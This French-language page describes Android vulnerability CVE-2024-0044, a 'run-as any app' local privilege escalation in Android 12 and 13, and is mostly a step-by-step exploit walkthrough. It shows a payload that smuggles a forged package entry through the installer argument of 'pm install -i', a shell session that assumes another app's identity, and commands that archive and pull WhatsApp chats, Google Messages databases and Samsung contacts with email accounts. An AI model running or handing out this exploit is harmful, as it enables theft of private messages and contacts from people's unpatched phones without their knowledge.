
CVE-2024-0044: a "run-as any app" high-severity vulnerability affecting Android versions 12 and 13
CVE-2024-0044, identifiée dans la fonction createSessionInternal du fichier PackageInstallerService.java, est une vulnérabilité de haute sévérité affectant les versions Android 12 et 13. Cette vulnérabilité permet à un attaquant d'effectuer une attaque "run-as any app", conduisant à une élévation locale de privilèges sans nécessiter d'interaction de l'utilisateur. Le problème provient d'une validation d'entrée incorrecte dans la fonction createSessionInternal. Un attaquant peut l'exploiter en manipulant le processus de création de session, accédant potentiellement à des données sensibles et effectuant des actions non autorisées sur l'appareil concerné.
L'exploit a été découvert par Meta security
La preuve de concept a été résumée et partagée par Tiny hack
Les détails sur le correctif de sécurité peuvent être trouvés dans le Bulletin de sécurité Android
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P est utilisé pour spécifier le nom du paquet cible que vous souhaitez exécuter en tant que
-A pour spécifier le fichier apk à pousser sur l'appareil
Exécutez l'outil
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Un fichier payload.txt comme celui-ci sera généré
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success après la dernière commandepl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Créez un répertoire temporaire : mkdir /data/local/tmp/wa/
Créez un fichier factice pour le tar : touch /data/local/tmp/wa/wa.tar
Définissez des permissions larges : chmod -R 0777 /data/local/tmp/wa/ pour garantir que tout utilisateur peut lire, écrire et exécuter dans ce répertoire.
Changez de contexte utilisateur : run-as victim pour obtenir les mêmes permissions que l'utilisateur "victim".
Archivez les données de l'application cible : tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, créant une archive tar du répertoire de données WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Vous pouvez extraire les données avec 7z ou tout autre outil
Vous pouvez utiliser Whatsapp chat exporter pour les convertir en HTML
Cela vous permet d'obtenir les données WhatsApp sans avoir besoin d'un accès root sur votre appareil
Changez simplement le nom du paquet comme suit
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Suivez les instructions ci-dessus et après avoir extrait le fichier wa.tar, décompressez-le et ouvrez les conversations dans com.google.android.apps.messaging/databases/bugle_db avec sqlitebrowser ou tout autre outil
Testé sur un appareil Samsung. Pour d'autres appareils, vérifiez le nom du paquet du fournisseur de contacts.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Suivez les instructions ci-dessus et après avoir extrait le fichier wa.tar, décompressez-le et ouvrez les contacts dans com.samsung.android.providers.contacts/databases/contacts2.db avec sqlitebrowser ou tout autre outil. Le fichier db contient toutes les informations des comptes email des utilisateurs ainsi que la liste des contacts.